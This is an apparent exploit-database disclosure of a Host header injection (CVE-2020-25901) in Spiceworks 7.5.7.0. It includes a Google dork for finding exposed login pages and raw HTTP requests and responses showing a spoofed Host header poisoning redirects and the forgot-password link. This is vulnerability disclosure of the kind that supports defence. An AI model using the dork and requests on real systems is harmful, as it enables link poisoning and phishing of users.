# Exploit Title: Spiceworks 7.5 - HTTP Header Injection
# Google Dork: inurl:/pro_users/login
# Discovered Date: 15/09/2020
# Exploit Author: Ramikan
# Vendor Homepage: https://www.spiceworks.com
# Affected Version: 7.5.7.0 may be others.
# Tested On Version: 7.5.7.0
# CVE : CVE-2020-25901
Vulnerability: Host Header Injection
Description:
Host Header Injection vulnerability may allow an attacker to spoof a particular Host header, allowing the attacker to render arbitrary links that point to a malicious website with poisoned Host header webpages.
An issue was discovered in Spiceworks version 7.5.7.0 (may be affected on other versions too). The values of the 'Host' headers are implicitly set as trusted while this should be forbidden, leading to potential host header injection attack and also the affected hosts can be used for domain fronting. This means affected hosts can be used by attackers to hide behind during various other attack.
Request:
GET / HTTP/1.1
Host: google.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: spiceworks_session=BAh7CjoPc2Vzc2lvbl9pZEkiJTU4NDg1MzhlMTAzNGEyMGNlZTRiYzI4YmZlNGVlNDljBjoGRUY6DnJldHVybl90byIGLzoQX2NzcmZfdG9rZW5JIjFyK3NZd3F4ZHpPSkFWNlhTb1ZhWVE0SE9iZzV1VGZIRmp0dURnM1ptSDlrPQY7BkZJIgpmbGFzaAY7BlRJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7ADoedXNlcl9pbnZpdGF0aW9uLnJldHVybl90byISL3dpemFyZC9zdGFydA%3D%3D--d7fabb212c9a1e683b384a24728f72fdaeffbc78; compatibility_test=testing; _gk=%7B%22t%22%3A%7B%7D%2C%22p%22%3A%7B%22cg_allow_st%22%3A%22%5B%5D%22%2C%22uuid%22%3A%22b7f707b6-f574-44bb-a766-986fc5851a03%22%7D%2C%22ab%22%3A%7B%7D%7D; opt_out=zdc; euconsent=BO3ulHHO3ulQVASABAENDWAAAAAyOAAA; _evidon_suppress_notification_cookie={"date":"\"2020-09-15T12:20:47Z\""}
Upgrade-Insecure-Requests: 1
Response:
HTTP/1.1 302 Found
Date: Tue, 15 Sep 2020 12:46:52 GMT
Cache-Control: no-cache
X-Runtime: 0
Set-Cookie: spiceworks_session=BAh7CjoPc2Vzc2lvbl9pZEkiJTU4NDg1MzhlMTAzNGEyMGNlZTRiYzI4YmZlNGVlNDljBjoGRUY6DnJldHVybl90byIGLzoQX2NzcmZfdG9rZW5JIjFyK3NZd3F4ZHpPSkFWNlhTb1ZhWVE0SE9iZzV1VGZIRmp0dURnM1ptSDlrPQY7BkZJIgpmbGFzaAY7BlRJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7ADoedXNlcl9pbnZpdGF0aW9uLnJldHVybl90byISL3dpemFyZC9zdGFydA%3D%3D--d7fabb212c9a1e683b384a24728f72fdaeffbc78; path=/; HttpOnly
Location: http://google.com/pro_users/login
Content-Length: 99
Connection: close
Content-Type: text/html; charset=utf-8
<html><body>You are being <a href="http://google.com/pro_users/login">redirected</a>.</body></html>
Request:2
GET /pro_users/login HTTP/1.1
Host: google.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: spiceworks_session=BAh7CjoPc2Vzc2lvbl9pZEkiJTU4NDg1MzhlMTAzNGEyMGNlZTRiYzI4YmZlNGVlNDljBjoGRUY6DnJldHVybl90byIGLzoQX2NzcmZfdG9rZW5JIjFyK3NZd3F4ZHpPSkFWNlhTb1ZhWVE0SE9iZzV1VGZIRmp0dURnM1ptSDlrPQY7BkZJIgpmbGFzaAY7BlRJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7ADoedXNlcl9pbnZpdGF0aW9uLnJldHVybl90byISL3dpemFyZC9zdGFydA%3D%3D--d7fabb212c9a1e683b384a24728f72fdaeffbc78; compatibility_test=testing; _gk=%7B%22t%22%3A%7B%7D%2C%22p%22%3A%7B%22cg_allow_st%22%3A%22%5B%5D%22%2C%22uuid%22%3A%22b7f707b6-f574-44bb-a766-986fc5851a03%22%7D%2C%22ab%22%3A%7B%7D%7D; opt_out=zdc; euconsent=BO3ulHHO3ulQVASABAENDWAAAAAyOAAA; _evidon_suppress_notification_cookie={"date":"\"2020-09-15T12:20:47Z\""}
Upgrade-Insecure-Requests: 1
Response:2 (Forgot your password)Link replaced with domain in the header.
HTTP/1.1 200 OK
Date: Tue, 15 Sep 2020 12:48:26 GMT
Cache-Control: private, max-age=0, must-revalidate
X-UA-Compatible: IE=edge,chrome=1
X-Runtime: 0
ETag: "77c8f98180ec3f6d4f2fcc8dcd796462"
Set-Cookie: compatibility_test=testing; path=/
Set-Cookie: spiceworks_session=BAh7CjoPc2Vzc2lvbl9pZEkiJTU4NDg1MzhlMTAzNGEyMGNlZTRiYzI4YmZlNGVlNDljBjoGRUY6DnJldHVybl90byIGLzoQX2NzcmZfdG9rZW5JIjFyK3NZd3F4ZHpPSkFWNlhTb1ZhWVE0SE9iZzV1VGZIRmp0dURnM1ptSDlrPQY7BkZJIgpmbGFzaAY7BlRJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7ADoedXNlcl9pbnZpdGF0aW9uLnJldHVybl90byISL3dpemFyZC9zdGFydA%3D%3D--d7fabb212c9a1e683b384a24728f72fdaeffbc78; path=/; HttpOnly
Content-Length: 9875
Connection: close
Content-Type: text/html; charset=utf-8
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